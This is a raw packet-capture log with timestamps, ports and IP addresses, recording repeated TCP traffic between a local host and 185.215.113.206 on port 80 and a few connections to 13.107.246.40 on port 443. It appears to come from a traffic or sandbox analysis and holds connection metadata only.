Nov 24, 2024 19:11:54.922380924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.922406912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.922420025 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.923199892 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.923260927 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.923343897 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.923387051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.924118996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.924170017 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.924232960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.924278021 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.924947977 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.925051928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.925100088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.925857067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.925960064 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.925993919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.926034927 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.926803112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.927584887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.934796095 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.934859037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.934886932 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.934927940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.935292006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.935379982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.935421944 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.936144114 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.936233997 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.936280012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.936994076 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.937037945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.937280893 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.937326908 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.937406063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.937586069 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.938230991 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.938277960 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.938290119 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.938328981 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.939095020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.939146996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.939177990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.939234972 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.939973116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.940023899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.940088987 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.940136909 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.940881014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.940920115 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.940943956 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.940963984 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.941747904 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.941797018 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.941840887 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.941880941 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.942667961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.942776918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.942826986 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.943540096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.943582058 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.943644047 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.943689108 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.944505930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.944552898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.944556952 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.944593906 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.945308924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.945363998 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.945394039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.945406914 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.946214914 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.946269035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.946294069 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.946358919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.947097063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.947139025 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.947149992 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.947210073 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.948071003 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.948120117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.948141098 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.948185921 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.948987007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.949115992 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.968288898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.968337059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.968343973 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.968384981 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.968687057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.968754053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.968872070 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.968919039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.969060898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.969132900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.969821930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.969944954 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.969961882 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.970007896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.970721006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.970767975 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.970793962 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.970813036 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.971544027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.971589088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.971662045 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.971698999 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.972467899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.972572088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.972598076 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.972631931 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.973545074 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.973596096 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.973607063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.973647118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.974251032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.974303961 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.974337101 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.974430084 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.975169897 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.975223064 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.975239992 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.975317001 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.976022005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.976114988 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.976196051 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.976242065 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.053702116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.053764105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.053778887 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.053828001 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.054112911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.054161072 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.054238081 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.054311991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.055180073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.055211067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.055234909 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.055248022 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.055861950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.055916071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.055965900 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.056035042 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.056909084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.056961060 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.057013035 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.057061911 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.057883978 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.057895899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.057943106 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.058564901 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.058614969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.058693886 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.058742046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.059444904 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.059508085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.059591055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.059676886 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.060333014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.060389996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.060411930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.060461044 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.061203957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.061259031 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.061285019 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.061336994 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.062170982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.062232971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.062254906 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.062294960 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.062995911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.063080072 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.063092947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.063143969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.063924074 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.063977957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.064028978 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.064785004 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.064841986 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.107352018 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.107389927 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.107408047 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.107436895 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.107566118 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.107587099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.107624054 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.107649088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.108477116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.108529091 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.108587980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.108635902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.109368086 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.109451056 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.109493971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.110099077 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.110117912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.110145092 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.110157013 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.110872984 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.110920906 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.110985041 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.111030102 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.111778021 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.111835003 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.111892939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.111934900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.112751007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.112797022 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.112864017 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.112905025 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.113557100 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.113612890 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.113640070 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.113682032 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.114434004 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.114504099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.114535093 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.114577055 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.115341902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.115427971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.115513086 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.115569115 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.116265059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.116311073 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.116354942 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.116400003 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.117146015 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.117243052 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.117270947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.117319107 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.118108988 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.118159056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.118186951 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.118233919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.126821041 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.126904964 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.127048016 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.127108097 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.127186060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.127283096 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.127288103 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.127332926 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.128070116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.128123999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.128134012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.128170967 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.128762960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.128809929 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.128818989 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.128869057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.129254103 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.129307032 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.129362106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.129407883 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.130172014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.130224943 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.130327940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.130486012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.131056070 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.131094933 CET	443	49809	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.131100893 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.131117105 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.131129026 CET	443	49809	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.131162882 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.131184101 CET	49809	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.131225109 CET	443	49809	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.131918907 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.131968975 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.132023096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.132065058 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.132702112 CET	49809	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.132762909 CET	443	49809	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.132798910 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.132848024 CET	49809	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.132874012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.132915020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.133069992 CET	49818	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.133086920 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.133100986 CET	443	49818	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.133167028 CET	49818	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.133682966 CET	49818	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.133696079 CET	443	49818	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.133706093 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.133754969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.133821964 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.133865118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.134599924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.134649992 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.134732008 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.134783030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.135490894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.135540962 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.135623932 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.135669947 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.136418104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.136487007 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.136498928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.136539936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.137274027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.137378931 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.137387037 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.137536049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.138176918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.138237953 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.138253927 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.138350964 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.139061928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.139121056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.139161110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.139210939 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.139945984 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.140017986 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.140054941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.140197992 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.140810013 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.140860081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.160496950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.160573006 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.160659075 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.160705090 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.161005020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.161067009 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.161111116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.161150932 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.161607027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.161653996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.161730051 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.161772013 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.162513018 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.162560940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.162630081 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.162669897 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.163016081 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.163065910 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.163146019 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.163193941 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.163944006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.163996935 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.164072990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.164124966 CET	49750	80	192.168.2.8	185.215.113.206
